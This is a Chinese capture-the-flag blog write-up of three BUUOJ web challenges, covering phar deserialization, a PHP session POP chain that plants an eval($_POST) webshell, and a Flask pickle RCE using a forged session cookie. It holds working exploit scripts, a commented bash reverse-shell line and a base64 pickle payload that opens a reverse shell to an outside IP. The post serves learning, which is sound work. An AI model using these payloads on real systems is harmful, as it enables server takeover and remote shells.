image-20250303235100847

有人写了一个半自动化的脚本,实测可行

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
import requests
import gzip
from hashlib import sha1
url='http://66388d68-d21a-41fd-a86f-154fc4107bbc.node5.buuoj.cn:81/'
def sign(name):
f = open(name, 'rb').read() # 修改内容后的phar文件
s = f[:-28] # 获取要签名的数据
h = f[-8:] # 获取签名类型以及GBMB标识
newf = s+sha1(s).digest()+h # 数据 + 签名 + 类型 + GBMB
open('signed.phar', 'wb').write(newf) # 写入新文件
def compress(name):
with open(name,'rb') as f1:
content = f1.read()
f = gzip.open('signed.phar.gz', 'wb')
f.write(content)
f.close()
def write(name):
#O:1:"D":1:{s:5:"start";s:1:"w";}
r=requests.post(url,data={'0': open(name, 'rb').read(),'1':'a:2:{i:0;O:1:"D":1:{s:5:"start";s:1:"w";}i:0;i:0;}'})
print(r.text)
def read(name):
#O:1:"D":1:{s:5:"start";s:1:"r";}
r=requests.post(url,data={'0':'phar://'+name,'1':'a:2:{i:0;O:1:"D":1:{s:5:"start";s:1:"r";}i:0;i:0;}'})
print(r.text)
def make():
sign('test.phar')
compress('signed.phar')
write('signed.phar.gz')




# make()
# /tmp/001df3ffd61e2faa164eee6783ff929b.jpg
# read('/tmp/001df3ffd61e2faa164eee6783ff929b.jpg')
# fflaggg

# make()
# /tmp/b1fe36a1465497f88cd1568a157e30d2.jpg
# read('/tmp/b1fe36a1465497f88cd1568a157e30d2.jpg')
# flag{149dd7e1-4cd8-4590-aff2-bae99e772daa}

image-20250304000440588

[DASCTF X GFCTF 2024|四月开启第一局]web1234

没有前端,用dirsearch扫出/robots.txt和www.zip

image-20250224225954012

下载www.zip,原来是源码

代码审计,获得登录方式

image-20250225224848542

在class.php中找到初始值

image-20250225225006754

md5解码

image-20250225225101228

登录成功http://ce62e496-2433-41bd-878a-963385664769.node5.buuoj.cn:81/?uname=admin&passwd=1q2w3e

image-20250225234217473

根据提示,这里是session反序列化,

启动了session_start以后,就会找sess_XXX里的内容进行反序列化,反序列化后得到$Session对象,比如下面的aaa|O:6:”Config”:…就是对应的$_SESSION[‘aaa’],然后在程序执行完要退出之前,会重新把$SESSION写进sess_XXX文件,也就是序列化的过程,从而触发_sleep

(即写回去的时候就是序列化前面反序列化的对象)

这种Session的设计理念其实很好理解,如若不然,session存用户的登录状态,用户每次访问,哪怕所有属性都原封不动没有改变,代码都得手动设置$_SESSION[‘user’]=xxx,这样显然是不合理的

事实上$_SESSION[‘user’]=xxx往往只用于改变用户属性

上面我们讲了session触发sleep函数,然后我们构造pop链如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
<?php

class Config{
public $uname;
public $passwd;
public $avatar;
public $nickname;
public $sex;
public $mail;
public $telnum;
}
class Log{
public $data;
}
$config = new Config();
$log = new Log();
$log -> data = "log_start()";
$config->avatar = $log;
echo serialize($config);

为啥这样?请看下面三段代码

事实上,我们最后是想通过log()(即第二段代码)将我们的一句话木马写入record.php,

所以我们要通过editconf()(即第一段代码)去执行log(),注意看,执行log()的要求是filesize("record.php") > 0,就是说record.php不能为空,

这就需要我们用上面的pop链做到,Config.__sleep -> Config.showconf() -> Log.__toString ,通过pop链执行Log.__toString ,从而将<?php\nerror_reporting(0);\n写入record.php,使record.php不为空

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
public function editconf($avatar, $nickname, $sex, $mail, $telnum){
//编辑表单内容
$Config = $this->Config;

$Config->avatar = $this->upload($avatar);
$Config->nickname = $nickname;
$Config->sex = (preg_match("/男|女/", $sex, $matches) ? $matches[0] : "武装直升机");
$Config->mail = (preg_match('/.*@.*\..*/', $mail) ? $mail : "");
$Config->telnum = substr($telnum, 0, 11);
$this->Config = $Config;

file_put_contents("/tmp/Config", serialize($Config));

if(filesize("record.php") > 0){
[new Log($Config),"log"]();
}
1
2
3
public function log(){
file_put_contents('record.php', $this->data, FILE_APPEND);
}

原理明白了之后,我们形成利用session的payload:aaa|O:6:"Config":7:{s:5:"uname";N;s:6:"passwd";N;s:6:"avatar";O:3:"Log":1:{s:4:"data";s:11:"log_start()";}s:8:"nickname";N;s:3:"sex";N;s:4:"mail";N;s:6:"telnum";N;}

然后用payload制作sess_matrix文件,上传

image-20250226000355114

然后在文件名处写马,⽂件名为 1’;eval($_POST[1]);# 即可

注意删去Cookie,防止再次写入<?php\nerror_reporting(0);\n

image-20250226000516856

连接蚁剑,出flag

image-20250226000752628

这里只能在文件名处写马,其他地方都会转义

image-20250226002020699

[HFCTF 2021 Final]easyflask

根据指引和文件读取漏洞找到源码

image-20250226114531775

读了源码,发现有pickle-Python序列化漏洞

1
2
3
4
5
6
7
8
9
10
11
12
13
14
@app.route('/admin', methods=('GET',))
def admin_handler():
try:
u = session.get('u')
if isinstance(u, dict):
u = b64decode(u.get('b'))
u = pickle.loads(u)
except Exception:
return 'uhh?'

if u.is_admin == 1:
return 'welcome, admin'
else:
return 'who are you?'

但是需要从session入手,

所以我们需要知道密钥,尝试读取/proc/self/environ,得到

image-20250226120119760

然后破解

1
2
3
4
5
命令
python flask_session_cookie_manager3.py decode -c 'eyJ1Ijp7IiBiIjoiZ0FTVkdBQUFBQUFBQUFDTUNGOWZiV0ZwYmw5ZmxJd0VWWE5sY3BTVGxDbUJsQzQ9In19.Z78ADQ.DR7XN1thWnwnuFYHVh44LXAqBRE' -s 'glzjin22948575858jfjfjufirijidjitg3uiiuuh'
结果
b'{"u":{" b":"gASVGAAAAAAAAACMCF9fbWFpbl9flIwEVXNlcpSTlCmBlC4="}}'

我们可以知道,需要构造的秘钥结构:{“u”:{“b”:“反序列化的内容”}}

(注意一定要在Linux系统里运行下面脚本)

原因是windows和linux使用pickie.loads()反序列化的内部过程不太一样, 所以也就导致了在windows下可以通过loads()执行的内容放到linux下使用loads()加载就会失败, 所以我们需要把代码放到 linux环境里跑,得到一个base64

1
2
3
4
5
6
7
8
9
10
11
12
13
14
import base64
import pickle

User = type('User', (object,), {
'uname': 'test',
'is_admin': 0,
'__repr__': lambda o: o.uname,
# '__reduce__': lambda o: (os.system, ("cat /flag > /tmp/a",))
# '__reduce__': lambda o: (os.system,("bash -c 'bash -i >& /dev/tcp/your_ip/port 0>&1'“,))
})

user = pickle.dumps(User())
print(user)
print(base64.b64encode(user))

然后构造payload

1
2
3
4
5
命令
python3 flask_session_cookie_manager3.py encode -s "glzjin22948575858jfjfjufirijidjitg3uiiuuh" -t "{'u':{'b':'gASVTwAAAAAAAACMBXBvc2l4lIwGc3lzdGVtlJOUjDRiYXNoIC1jICdiYXNoIC1pID4mIC9kZXYvdGNwLzEwMS4zNy44MC44My84MDgwIDA+JjEnlIWUUpQu'}}"

结果
.eJyrVipVsqpWSlKyUkp3DA4LKXeEAmdfpwinsmSjHJMcz3L3ZOOcqhT3sJIcL__QLJegzMgIv3xPZ8MsT-cUGLvA08Uk19PZMjsqIrIsxd2v3KfKtdw32KTKr9LExNcZiCstTHxd0ss9XRy1vbJc83I8w0NDCwJLlWprASTpKyY.Z78LWg.AfikxUCG4pPwMOpS-7aFswGcyi4

开启监听,换session,访问/admin去反序列化

image-20250226204039017

也可用写脚本直接出(也是在Linux系统里运行)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
import base64
import pickle
from flask.sessions import SecureCookieSessionInterface
import re
import requests

url = "http://ac510cf4-043f-4d31-9b24-97cb1ede76b6.node5.buuoj.cn:81/"



# def get_secret_key():
# target = url + "/file?file=/proc/self/environ"
# r = requests.get(target)
# # print(r.text)
# key = re.findall('key=(.*?).OLDPWD', r.text)
# return str(key[0])

# secret_key = get_secret_key()
# print(secret_key)

class FakeApp:
# secret_key = secret_key
secret_key = "glzjin22948575858jfjfjufirijidjitg3uiiuuh"

class User(object):
def __reduce__(self):
import os
cmd = "cat /flag > /tmp/b"
return (os.system, (cmd,))

exp = {
"b": base64.b64encode(pickle.dumps(User()))
}

# pickletools.dis(pickle.dumps(User()))
# print(pickletools.dis(b'\x80\x03cprogram_main_app@@@\nUser\nq\x00)\x81q\x01.'))

fake_app = FakeApp()
session_interface = SecureCookieSessionInterface()
serializer = session_interface.get_signing_serializer(fake_app)
cookie = serializer.dumps(
# {'u':b'\x80\x04\x95\x15\x00\x00\x00\x00\x00\x00\x00\x8c\x08__main__\x94\x8c\x04User\x94\x93\x94.'}
{'u': exp}
)
print(cookie)

headers = {
"Accept": "*/*",
"Cookie": "session={0}".format(cookie)
}

req = requests.get(url + "/admin", headers=headers)
# print(req.text)

req = requests.get(url + "/file?file=/tmp/b", headers=headers)
print(req.text)

image-20250226202452159


buuoj WP1
http://example.com/2025/07/13/24BuuojWP1/
作者
sangnigege
发布于
2025年7月13日
许可协议